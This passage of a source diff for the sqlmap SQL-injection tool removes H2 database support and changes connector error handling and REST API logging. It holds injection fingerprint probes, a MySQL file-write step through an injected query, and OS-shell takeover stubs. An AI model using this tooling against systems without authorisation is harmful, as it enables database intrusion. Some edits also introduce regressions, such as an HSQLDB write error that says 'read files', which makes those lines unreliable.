@@ -668,7 +660,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
             port = s.getsockname()[1]
 
     logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
-    logger.info("Admin (secret) token: %s" % DataStore.admin_token)
+    logger.info("Admin ID: %s" % DataStore.admin_id)
     logger.debug("IPC database: '%s'" % Database.filepath)
 
     # Initialize IPC database
@@ -704,7 +696,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
         logger.critical(errMsg)
 
 def _client(url, options=None):
-    logger.debug("Calling '%s'" % url)
+    logger.debug("Calling %s" % url)
     try:
         data = None
         if options is not None:
@@ -780,11 +772,11 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
                 logger.error("No task ID in use")
                 continue
             try:
-                command, option = command.split(" ", 1)
+                command, option = command.split(" ")
             except ValueError:
                 raw = _client("%s/option/%s/list" % (addr, taskid))
             else:
-                options = re.split(r"\s*,\s*", option.strip())
+                options = {"option": option}
                 raw = _client("%s/option/%s/get" % (addr, taskid), options)
             res = dejsonize(raw)
             if not res["success"]:
@@ -841,7 +833,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             logger.info("Switching to task ID '%s' " % taskid)
 
         elif command in ("list", "flush"):
-            raw = _client("%s/admin/%s" % (addr, command))
+            raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command))
             res = dejsonize(raw)
             if not res["success"]:
                 logger.error("Failed to execute command %s" % command)

lib/utils/hashdb.py

@@ -91,7 +91,7 @@ class HashDB(object):
                             raise
                     except sqlite3.DatabaseError, ex:
                         errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
-                        errMsg += "If the problem persists please rerun with '--flush-session'"
+                        errMsg += "If the problem persists please rerun with `--flush-session`"
                         raise SqlmapConnectionException(errMsg)
                     else:
                         break
@@ -104,7 +104,7 @@ class HashDB(object):
             except:
                 retVal = None
                 warnMsg = "error occurred while unserializing value for session key '%s'. " % key
-                warnMsg += "If the problem persists please rerun with '--flush-session'"
+                warnMsg += "If the problem persists please rerun with `--flush-session`"
                 logger.warn(warnMsg)
 
         return retVal

plugins/dbms/access/connector.py

@@ -12,7 +12,6 @@ except:
 
 import logging
 
-from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -44,7 +43,7 @@ class Connector(GenericConnector):
         try:
             self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db)
         except (pyodbc.Error, pyodbc.OperationalError), msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.initCursor()
         self.printConnected()
@@ -53,16 +52,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except pyodbc.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
         except pyodbc.Error, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.connector.commit()
 

plugins/dbms/db2/connector.py

@@ -12,7 +12,6 @@ except:
 
 import logging
 
-from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -45,16 +44,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
         except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.connector.commit()
 

plugins/dbms/firebird/connector.py

@@ -12,7 +12,6 @@ except:
 
 import logging
 
-from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -43,7 +42,7 @@ class Connector(GenericConnector):
             # Reference: http://www.daniweb.com/forums/thread248499.html
             self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
         except kinterbasdb.OperationalError, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.initCursor()
         self.printConnected()
@@ -52,16 +51,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
         except kinterbasdb.Error, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.connector.commit()
 

plugins/dbms/h2/__init__.py

@@ -1,33 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from lib.core.enums import DBMS
-from lib.core.settings import H2_SYSTEM_DBS
-from lib.core.unescaper import unescaper
-from plugins.dbms.h2.enumeration import Enumeration
-from plugins.dbms.h2.filesystem import Filesystem
-from plugins.dbms.h2.fingerprint import Fingerprint
-from plugins.dbms.h2.syntax import Syntax
-from plugins.dbms.h2.takeover import Takeover
-from plugins.generic.misc import Miscellaneous
-
-class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
-    """
-    This class defines H2 methods
-    """
-
-    def __init__(self):
-        self.excludeDbsList = H2_SYSTEM_DBS
-
-        Syntax.__init__(self)
-        Fingerprint.__init__(self)
-        Enumeration.__init__(self)
-        Filesystem.__init__(self)
-        Miscellaneous.__init__(self)
-        Takeover.__init__(self)
-
-    unescaper[DBMS.H2] = Syntax.escape

plugins/dbms/h2/connector.py

@@ -1,18 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from lib.core.exception import SqlmapUnsupportedFeatureException
-from plugins.generic.connector import Connector as GenericConnector
-
-class Connector(GenericConnector):
-    def __init__(self):
-        GenericConnector.__init__(self)
-
-    def connect(self):
-        errMsg = "on H2 it is not (currently) possible to establish a "
-        errMsg += "direct connection"
-        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/enumeration.py

@@ -1,52 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from plugins.generic.enumeration import Enumeration as GenericEnumeration
-from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
-from lib.core.data import queries
-from lib.core.common import unArrayizeValue
-from lib.core.enums import DBMS
-from lib.core.settings import H2_DEFAULT_SCHEMA
-from lib.request import inject
-
-class Enumeration(GenericEnumeration):
-    def __init__(self):
-        GenericEnumeration.__init__(self)
-
-    def getBanner(self):
-        if not conf.getBanner:
-            return
-
-        if kb.data.banner is None:
-            infoMsg = "fetching banner"
-            logger.info(infoMsg)
-
-            query = queries[DBMS.H2].banner.query
-            kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True))
-
-        return kb.data.banner
-
-    def getPrivileges(self, *args):
-        warnMsg = "on H2 it is not possible to enumerate the user privileges"
-        logger.warn(warnMsg)
-
-        return {}
-
-    def getHostname(self):
-        warnMsg = "on H2 it is not possible to enumerate the hostname"
-        logger.warn(warnMsg)
-
-    def getCurrentDb(self):
-        return H2_DEFAULT_SCHEMA
-
-    def getPasswordHashes(self):
-        warnMsg = "on H2 it is not possible to list password hashes"
-        logger.warn(warnMsg)
-
-        return {}

plugins/dbms/h2/filesystem.py

@@ -1,21 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from lib.core.exception import SqlmapUnsupportedFeatureException
-from plugins.generic.filesystem import Filesystem as GenericFilesystem
-
-class Filesystem(GenericFilesystem):
-    def __init__(self):
-        GenericFilesystem.__init__(self)
-
-    def readFile(self, rFile):
-        errMsg = "on H2 it is not possible to read files"
-        raise SqlmapUnsupportedFeatureException(errMsg)
-
-    def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
-        errMsg = "on H2 it is not possible to write files"
-        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/h2/fingerprint.py

@@ -1,96 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from lib.core.common import Backend
-from lib.core.common import Format
-from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
-from lib.core.enums import DBMS
-from lib.core.session import setDbms
-from lib.core.settings import H2_ALIASES
-from lib.request import inject
-from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
-
-class Fingerprint(GenericFingerprint):
-    def __init__(self):
-        GenericFingerprint.__init__(self, DBMS.H2)
-
-    def getFingerprint(self):
-        value = ""
-        wsOsFp = Format.getOs("web server", kb.headersFp)
-
-        if wsOsFp:
-            value += "%s\n" % wsOsFp
-
-        if kb.data.banner:
-            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
-
-            if dbmsOsFp:
-                value += "%s\n" % dbmsOsFp
-
-        value += "back-end DBMS: "
-
-        if not conf.extensiveFp:
-            value += DBMS.H2
-            return value
-
-        actVer = Format.getDbms()
-        blank = " " * 15
-        value += "active fingerprint: %s" % actVer
-
-        if kb.bannerFp:
-            banVer = kb.bannerFp.get("dbmsVersion")
-            banVer = Format.getDbms([banVer])
-            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
-
-        htmlErrorFp = Format.getErrorParsedDBMSes()
-
-        if htmlErrorFp:
-            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
-
-        return value
-
-    def checkDbms(self):
-        if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES):
-            setDbms("%s %s" % (DBMS.H2, Backend.getVersion()))
-
-            self.getBanner()
-
-            return True
-
-        infoMsg = "testing %s" % DBMS.H2
-        logger.info(infoMsg)
-
-        result = inject.checkBooleanExpression("ZERO() IS 0")
-
-        if result:
-            infoMsg = "confirming %s" % DBMS.H2
-            logger.info(infoMsg)
-
-            result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
-
-            if not result:
-                warnMsg = "the back-end DBMS is not %s" % DBMS.H2
-                logger.warn(warnMsg)
-
-                return False
-            else:
-                setDbms(DBMS.H2)
-
-                self.getBanner()
-
-                return True
-        else:
-            warnMsg = "the back-end DBMS is not %s" % DBMS.H2
-            logger.warn(warnMsg)
-
-            return False
-
-    def getHostname(self):
-        warnMsg = "on H2 it is not possible to enumerate the hostname"
-        logger.warn(warnMsg)

plugins/dbms/h2/syntax.py

@@ -1,24 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from plugins.generic.syntax import Syntax as GenericSyntax
-
-class Syntax(GenericSyntax):
-    def __init__(self):
-        GenericSyntax.__init__(self)
-
-    @staticmethod
-    def escape(expression, quote=True):
-        """
-        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
-        'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar'
-        """
-
-        def escaper(value):
-            return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value)))
-
-        return Syntax._escape(expression, quote, escaper)

plugins/dbms/h2/takeover.py

@@ -1,31 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-from lib.core.exception import SqlmapUnsupportedFeatureException
-from plugins.generic.takeover import Takeover as GenericTakeover
-
-class Takeover(GenericTakeover):
-    def __init__(self):
-        GenericTakeover.__init__(self)
-
-    def osCmd(self):
-        errMsg = "on H2 it is not possible to execute commands"
-        raise SqlmapUnsupportedFeatureException(errMsg)
-
-    def osShell(self):
-        errMsg = "on H2 it is not possible to execute commands"
-        raise SqlmapUnsupportedFeatureException(errMsg)
-
-    def osPwn(self):
-        errMsg = "on H2 it is not possible to establish an "
-        errMsg += "out-of-band connection"
-        raise SqlmapUnsupportedFeatureException(errMsg)
-
-    def osSmb(self):
-        errMsg = "on H2 it is not possible to establish an "
-        errMsg += "out-of-band connection"
-        raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/hsqldb/filesystem.py

@@ -17,5 +17,5 @@ class Filesystem(GenericFilesystem):
         raise SqlmapUnsupportedFeatureException(errMsg)
 
     def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
-        errMsg = "on HSQLDB it is not possible to write files"
+        errMsg = "on HSQLDB it is not possible to read files"
         raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/hsqldb/fingerprint.py

@@ -106,13 +106,6 @@ class Fingerprint(GenericFingerprint):
 
                 return False
             else:
-                result = inject.checkBooleanExpression("ZERO() IS 0")   # Note: check for H2 DBMS (sharing majority of same functions)
-                if result:
-                    warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
-                    logger.warn(warnMsg)
-
-                    return False
-
                 kb.data.has_information_schema = True
                 Backend.setVersion(">= 1.7.2")
                 setDbms("%s 1.7.2" % DBMS.HSQLDB)

plugins/dbms/informix/connector.py

@@ -12,7 +12,6 @@ except:
 
 import logging
 
-from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -36,7 +35,7 @@ class Connector(GenericConnector):
             database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
             self.connector = ibm_db_dbi.connect(database, self.user, self.password)
         except ibm_db_dbi.OperationalError, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg)
 
         self.initCursor()
         self.printConnected()
@@ -45,16 +44,16 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
             return None
 
     def execute(self, query):
         try:
             self.cursor.execute(query)
         except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
         except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.connector.commit()
 

plugins/dbms/maxdb/connector.py

@@ -13,6 +13,6 @@ class Connector(GenericConnector):
         GenericConnector.__init__(self)
 
     def connect(self):
-        errMsg = "on SAP MaxDB it is not (currently) possible to establish a "
+        errMsg = "on SAP MaxDB it is not possible to establish a "
         errMsg += "direct connection"
         raise SqlmapUnsupportedFeatureException(errMsg)

plugins/dbms/maxdb/enumeration.py

@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unsafeSQLIdentificatorNaming

plugins/dbms/mssqlserver/connector.py

@@ -41,7 +41,7 @@ class Connector(GenericConnector):
 
         try:
             self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
-        except (pymssql2.Error, _mssql.MssqlDatabaseException), msg:
+        except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
             raise SqlmapConnectionException(msg)
         except ValueError:
             raise SqlmapConnectionException

plugins/dbms/mysql/connector.py

@@ -13,7 +13,6 @@ except:
 import logging
 import struct
 
-from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -38,8 +37,10 @@ class Connector(GenericConnector):
 
         try:
             self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
-        except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+        except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError), msg:
+            raise SqlmapConnectionException(msg[1])
+        except struct.error, msg:
+            raise SqlmapConnectionException(msg)
 
         self.initCursor()
         self.printConnected()
@@ -48,7 +49,7 @@ class Connector(GenericConnector):
         try:
             return self.cursor.fetchall()
         except pymysql.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
             return None
 
     def execute(self, query):
@@ -58,9 +59,9 @@ class Connector(GenericConnector):
             self.cursor.execute(query)
             retVal = True
         except (pymysql.OperationalError, pymysql.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
         except pymysql.InternalError, msg:
-            raise SqlmapConnectionException(getSafeExString(msg))
+            raise SqlmapConnectionException(msg[1])
 
         self.connector.commit()
 

plugins/dbms/mysql/filesystem.py

@@ -136,7 +136,7 @@ class Filesystem(GenericFilesystem):
         query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
         query = agent.prefixQuery(query)        # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
         payload = agent.payload(newValue=query)
-        Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
+        page = Request.queryPage(payload)
 
         warnMsg = "expect junk characters inside the "
         warnMsg += "file as a leftover from original query"

plugins/dbms/postgresql/fingerprint.py

@@ -73,7 +73,7 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "testing %s" % DBMS.PGSQL
         logger.info(infoMsg)
 
-        result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL")
+        result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]")
 
         if result:
             infoMsg = "confirming %s" % DBMS.PGSQL

plugins/dbms/sybase/enumeration.py

@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
 
 from lib.core.common import filterPairValues
 from lib.core.common import isTechniqueAvailable
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import unArrayizeValue

plugins/generic/connector.py

@@ -20,7 +20,6 @@ class Connector:
     def __init__(self):
         self.connector = None
         self.cursor = None
-        self.hostname = None
 
     def initConnection(self):
         self.user = conf.dbmsUser or ""
@@ -35,10 +34,9 @@ class Connector:
         logger.info(infoMsg)
 
     def closed(self):
-        if self.hostname:
-            infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
-            infoMsg += ":%d closed" % self.port
-            logger.info(infoMsg)
+        infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
+        infoMsg += ":%d closed" % self.port
+        logger.info(infoMsg)
 
         self.connector = None
         self.cursor = None

plugins/generic/databases.py

@@ -438,7 +438,7 @@ class Databases:
                 raise SqlmapNoneDataException(errMsg)
 
         elif conf.db is not None:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                 conf.db = conf.db.upper()
 
             if ',' in conf.db:
@@ -465,7 +465,7 @@ class Databases:
         colList = filter(None, colList)
 
         if conf.tbl:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                 conf.tbl = conf.tbl.upper()
 
             tblList = conf.tbl.split(',')
@@ -569,7 +569,7 @@ class Databases:
                     condQueryStr = "%%s%s" % colCondParam
                     condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                     query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                     query += condQuery
                 elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
@@ -697,7 +697,7 @@ class Databases:
                     condQueryStr = "%%s%s" % colCondParam
                     condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                     query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                     query += condQuery
 
@@ -761,10 +761,6 @@ class Databases:
                         query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                         query += condQuery
                         field = None
-                    elif Backend.isDbms(DBMS.H2):
-                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
-                        query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
-                        field = None
                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                         query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                         query += condQuery
@@ -804,7 +800,7 @@ class Databases:
                                 singleTimeWarnMessage(warnMsg)
 
                         if not onlyColNames:
-                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                 query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))

plugins/generic/entries.py

@@ -67,7 +67,7 @@ class Entries:
             conf.db = self.getCurrentDb()
 
         elif conf.db is not None:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                 conf.db = conf.db.upper()
 
             if ',' in conf.db:
@@ -83,7 +83,7 @@ class Entries:
         conf.db = safeSQLIdentificatorNaming(conf.db)
 
         if conf.tbl:
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                 conf.tbl = conf.tbl.upper()
 
             tblList = conf.tbl.split(',')
@@ -226,7 +226,7 @@ class Entries:
                                     entries = zip(*[entries[colName] for colName in colList])
                         else:
                             query = rootQuery.inband.query % (colString, conf.db, tbl)
-                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                         query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                     else:
                         query = rootQuery.inband.query % (colString, conf.db, tbl)
@@ -399,7 +399,7 @@ class Entries:
                                     if column not in entries:
                                         entries[column] = BigArray()
 
-                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)

plugins/generic/search.py

@@ -60,7 +60,7 @@ class Search:
             values = []
             db = safeSQLIdentificatorNaming(db)
 
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                 db = db.upper()
 
             infoMsg = "searching database"
@@ -167,9 +167,8 @@ class Search:
             values = []
             tbl = safeSQLIdentificatorNaming(tbl, True)
 
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
                 tbl = tbl.upper()
-                conf.db = conf.db.upper() if conf.db else conf.db
 
             infoMsg = "searching table"
             if tblConsider == '1':
@@ -304,9 +303,7 @@ class Search:
                     for index in indexRange:
                         query = rootQuery.blind.query2
 
-                        if " ORDER BY " in query:
-                            query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery))
-                        elif query.endswith("'%s')"):
+                        if query.endswith("'%s')"):
                             query = query[:-1] + " AND %s)" % tblQuery
                         else:
                             query += " AND %s" % tblQuery
@@ -390,10 +387,8 @@ class Search:
             conf.db = origDb
             conf.tbl = origTbl
 
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                 column = column.upper()
-                conf.db = conf.db.upper() if conf.db else conf.db
-                conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl
 
             infoMsg = "searching column"
             if colConsider == "1":

plugins/generic/takeover.py

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
 import os
 
 from lib.core.common import Backend
-from lib.core.common import getSafeExString
 from lib.core.common import isStackingAvailable
 from lib.core.common import readInput
 from lib.core.common import runningAsAdmin
@@ -21,7 +20,6 @@ from lib.core.exception import SqlmapMissingDependence
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapMissingPrivileges
 from lib.core.exception import SqlmapNotVulnerableException
-from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUndefinedMethod
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.takeover.abstraction import Abstraction
@@ -134,16 +132,12 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
                 errMsg += "http://code.google.com/p/impacket/downloads/list"
                 raise SqlmapMissingDependence(errMsg)
 
-            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
+            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
 
-            if os.path.exists(filename):
-                try:
-                    with open(filename, "wb") as f:
-                        f.write("1")
